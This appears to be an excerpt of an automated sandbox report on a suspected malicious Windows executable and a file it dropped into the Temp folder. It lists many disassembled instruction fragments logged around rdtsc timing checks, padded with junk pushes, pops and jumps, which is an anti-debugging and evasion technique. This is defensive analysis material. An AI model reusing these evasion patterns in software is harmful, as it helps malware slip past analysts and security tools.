Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03DD second address: 50A0426 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [ebp-08h], eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDDBCB6A6D5h 0x00000012 and si, 5096h 0x00000017 jmp 00007FDDBCB6A6D1h 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FDDBCB6A6CEh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0426 second address: 50A0498 instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor eax, ebp 0x00000009 jmp 00007FDDBD19A02Dh 0x0000000e nop 0x0000000f jmp 00007FDDBD19A02Eh 0x00000014 push eax 0x00000015 pushad 0x00000016 movsx edx, si 0x00000019 call 00007FDDBD19A02Ah 0x0000001e mov si, 90E1h 0x00000022 pop esi 0x00000023 popad 0x00000024 nop 0x00000025 pushad 0x00000026 movsx edx, cx 0x00000029 push eax 0x0000002a pushad 0x0000002b popad 0x0000002c pop ebx 0x0000002d popad 0x0000002e lea eax, dword ptr [ebp-10h] 0x00000031 jmp 00007FDDBD19A02Ch 0x00000036 mov dword ptr fs:[00000000h], eax 0x0000003c jmp 00007FDDBD19A030h 0x00000041 mov dword ptr [ebp-18h], esp 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0498 second address: 50A049C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A049C second address: 50A04A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A04A2 second address: 50A0501 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f pushad 0x00000010 mov edi, esi 0x00000012 mov ebx, ecx 0x00000014 popad 0x00000015 mov ecx, dword ptr [eax+00000FDCh] 0x0000001b jmp 00007FDDBCB6A6D4h 0x00000020 test ecx, ecx 0x00000022 jmp 00007FDDBCB6A6D0h 0x00000027 jns 00007FDDBCB6A6F8h 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push edx 0x00000031 pop eax 0x00000032 movsx edx, cx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0501 second address: 50A0507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0507 second address: 50A053E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add eax, ecx 0x0000000d jmp 00007FDDBCB6A6CEh 0x00000012 mov ecx, dword ptr [ebp+08h] 0x00000015 pushad 0x00000016 mov edi, eax 0x00000018 mov edx, esi 0x0000001a popad 0x0000001b test ecx, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov dx, 5534h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A053E second address: 50A0543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0543 second address: 50A054B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50901FD second address: 5090294 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDBD19A031h 0x00000008 mov eax, 5DBA3C37h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FDDBD19A038h 0x00000019 adc esi, 7EF62C58h 0x0000001f jmp 00007FDDBD19A02Bh 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007FDDBD19A038h 0x0000002b and si, B6B8h 0x00000030 jmp 00007FDDBD19A02Bh 0x00000035 popfd 0x00000036 popad 0x00000037 sub esp, 2Ch 0x0000003a pushad 0x0000003b jmp 00007FDDBD19A034h 0x00000040 mov ebx, esi 0x00000042 popad 0x00000043 xchg eax, ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090294 second address: 5090298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090298 second address: 509029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509029C second address: 50902A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50902A2 second address: 50902B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDBD19A02Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50902B5 second address: 50902E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a call 00007FDDBCB6A6CAh 0x0000000f pop esi 0x00000010 pop edi 0x00000011 popad 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FDDBCB6A6CFh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50902E0 second address: 50902E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50902E6 second address: 5090320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FDDBCB6A6D0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDDBCB6A6CEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090320 second address: 5090326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509035B second address: 509035F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509035F second address: 5090365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090365 second address: 5090380 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dh, ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090380 second address: 5090385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090385 second address: 509038B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509038B second address: 509038F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509038F second address: 50903BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edi, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDDBCB6A6D3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903BA second address: 50903C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903C0 second address: 50903CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDBCB6A6CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50903CF second address: 5090428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e mov bx, si 0x00000011 push esi 0x00000012 pop edi 0x00000013 popad 0x00000014 mov bx, cx 0x00000017 popad 0x00000018 test al, al 0x0000001a jmp 00007FDDBD19A02Ch 0x0000001f je 00007FDDBD19A1CAh 0x00000025 pushad 0x00000026 mov ch, C8h 0x00000028 popad 0x00000029 lea ecx, dword ptr [ebp-14h] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FDDBD19A030h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509051C second address: 509054C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDBCB6A6CFh 0x00000008 mov eax, 34B5339Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jg 00007FDE2E70861Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FDDBCB6A6CCh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509054C second address: 5090552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090552 second address: 5090558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090558 second address: 509055C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509055C second address: 5090598 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FDDBCB6A70Fh 0x0000000e jmp 00007FDDBCB6A6D4h 0x00000013 cmp dword ptr [ebp-14h], edi 0x00000016 pushad 0x00000017 pushad 0x00000018 call 00007FDDBCB6A6CCh 0x0000001d pop ecx 0x0000001e mov bx, A4D6h 0x00000022 popad 0x00000023 push ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090598 second address: 50905CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 jne 00007FDE2ED37F23h 0x0000000c jmp 00007FDDBD19A02Fh 0x00000011 mov ebx, dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDDBD19A035h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905CD second address: 50905D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905D3 second address: 5090615 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b jmp 00007FDDBD19A02Fh 0x00000010 xchg eax, esi 0x00000011 jmp 00007FDDBD19A036h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FDDBD19A02Eh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090615 second address: 509061B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509061B second address: 509061F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509061F second address: 5090674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FDDBCB6A6D9h 0x0000000e nop 0x0000000f jmp 00007FDDBCB6A6CEh 0x00000014 push eax 0x00000015 pushad 0x00000016 mov si, di 0x00000019 mov edi, 2C7EFA90h 0x0000001e popad 0x0000001f nop 0x00000020 jmp 00007FDDBCB6A6CFh 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b mov dh, 60h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090674 second address: 5090691 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov edi, 5719FE08h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDDBD19A02Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50906D9 second address: 50906DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50906DF second address: 5090056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A02Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007FDDBD19A02Eh 0x00000012 je 00007FDE2ED37F79h 0x00000018 xor eax, eax 0x0000001a jmp 00007FDDBD17375Ah 0x0000001f pop esi 0x00000020 pop edi 0x00000021 pop ebx 0x00000022 leave 0x00000023 retn 0004h 0x00000026 nop 0x00000027 mov edi, eax 0x00000029 cmp edi, 00000000h 0x0000002c setne al 0x0000002f xor ebx, ebx 0x00000031 test al, 01h 0x00000033 jne 00007FDDBD19A027h 0x00000035 jmp 00007FDDBD19A119h 0x0000003a call 00007FDDC18F17A0h 0x0000003f mov edi, edi 0x00000041 pushad 0x00000042 mov dx, F7FCh 0x00000046 call 00007FDDBD19A035h 0x0000004b mov esi, 1BF35FD7h 0x00000050 pop ecx 0x00000051 popad 0x00000052 push esi 0x00000053 jmp 00007FDDBD19A038h 0x00000058 mov dword ptr [esp], ebp 0x0000005b jmp 00007FDDBD19A030h 0x00000060 mov ebp, esp 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090056 second address: 509005A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509005A second address: 509010F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDDBD19A039h 0x0000000a adc ecx, 17CDE0C6h 0x00000010 jmp 00007FDDBD19A031h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 pushad 0x00000019 pushad 0x0000001a mov dl, ah 0x0000001c jmp 00007FDDBD19A02Fh 0x00000021 popad 0x00000022 pushfd 0x00000023 jmp 00007FDDBD19A038h 0x00000028 adc ax, 53C8h 0x0000002d jmp 00007FDDBD19A02Bh 0x00000032 popfd 0x00000033 popad 0x00000034 push eax 0x00000035 jmp 00007FDDBD19A039h 0x0000003a xchg eax, ecx 0x0000003b jmp 00007FDDBD19A02Eh 0x00000040 mov dword ptr [ebp-04h], 55534552h 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FDDBD19A02Ah 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509010F second address: 5090113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090113 second address: 5090119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090B5F second address: 5090BBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007FDDBCB6A6D4h 0x00000010 mov dword ptr [esp], ebp 0x00000013 pushad 0x00000014 pushad 0x00000015 push esi 0x00000016 pop edi 0x00000017 pushfd 0x00000018 jmp 00007FDDBCB6A6D8h 0x0000001d add si, 4538h 0x00000022 jmp 00007FDDBCB6A6CBh 0x00000027 popfd 0x00000028 popad 0x00000029 push ecx 0x0000002a mov dl, 05h 0x0000002c pop ecx 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090BBD second address: 5090BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090BC1 second address: 5090BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090BC7 second address: 5090BF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A02Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [76C8459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDDBD19A035h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090BF4 second address: 5090BFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090BFA second address: 5090BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090BFE second address: 5090C23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FDE2E6F84AEh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090C23 second address: 5090C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090C27 second address: 5090C2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E29 second address: 5090E2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E2F second address: 5090E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E35 second address: 5090E39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E39 second address: 5090E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 5EB332D8h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E4C second address: 5090E67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A037h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E67 second address: 5090E91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, EEh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 18146950h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDDBCB6A6D9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090F39 second address: 5090F54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, BA8Fh 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c cmp dword ptr [ebp+08h], 00002000h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 mov ah, dh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0963 second address: 50A097B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDBCB6A6D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A097B second address: 50A0999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDDBD19A033h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0999 second address: 50A0AB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FDDBCB6A6CEh 0x00000011 mov ebp, esp 0x00000013 jmp 00007FDDBCB6A6D0h 0x00000018 xchg eax, esi 0x00000019 jmp 00007FDDBCB6A6D0h 0x0000001e push eax 0x0000001f jmp 00007FDDBCB6A6CBh 0x00000024 xchg eax, esi 0x00000025 jmp 00007FDDBCB6A6D6h 0x0000002a mov esi, dword ptr [ebp+0Ch] 0x0000002d jmp 00007FDDBCB6A6D0h 0x00000032 test esi, esi 0x00000034 jmp 00007FDDBCB6A6D0h 0x00000039 je 00007FDE2E6E804Bh 0x0000003f pushad 0x00000040 jmp 00007FDDBCB6A6CEh 0x00000045 mov ch, 43h 0x00000047 popad 0x00000048 cmp dword ptr [76C8459Ch], 05h 0x0000004f pushad 0x00000050 pushfd 0x00000051 jmp 00007FDDBCB6A6D3h 0x00000056 xor ax, 2B8Eh 0x0000005b jmp 00007FDDBCB6A6D9h 0x00000060 popfd 0x00000061 pushfd 0x00000062 jmp 00007FDDBCB6A6D0h 0x00000067 xor si, 2E08h 0x0000006c jmp 00007FDDBCB6A6CBh 0x00000071 popfd 0x00000072 popad 0x00000073 je 00007FDE2E7000B5h 0x00000079 push eax 0x0000007a push edx 0x0000007b pushad 0x0000007c mov si, bx 0x0000007f mov bx, 3C02h 0x00000083 popad 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0BB1 second address: 50A0BB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0BB7 second address: 50A0BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0BBB second address: 50A0BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDDBD19A033h 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0BDE second address: 50A0BE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0BE2 second address: 50A0BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0BE8 second address: 50A0BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0BEE second address: 50A0BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64C7A7 second address: 64C7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnl 00007FDDBCB6A6CAh 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 64C7B6 second address: 64C7BB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	RDTSC instruction interceptor: First address: 63ED79 second address: 63EDAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D1h 0x00000007 jne 00007FDDBCB6A6C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jmp 00007FDDBCB6A6D5h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
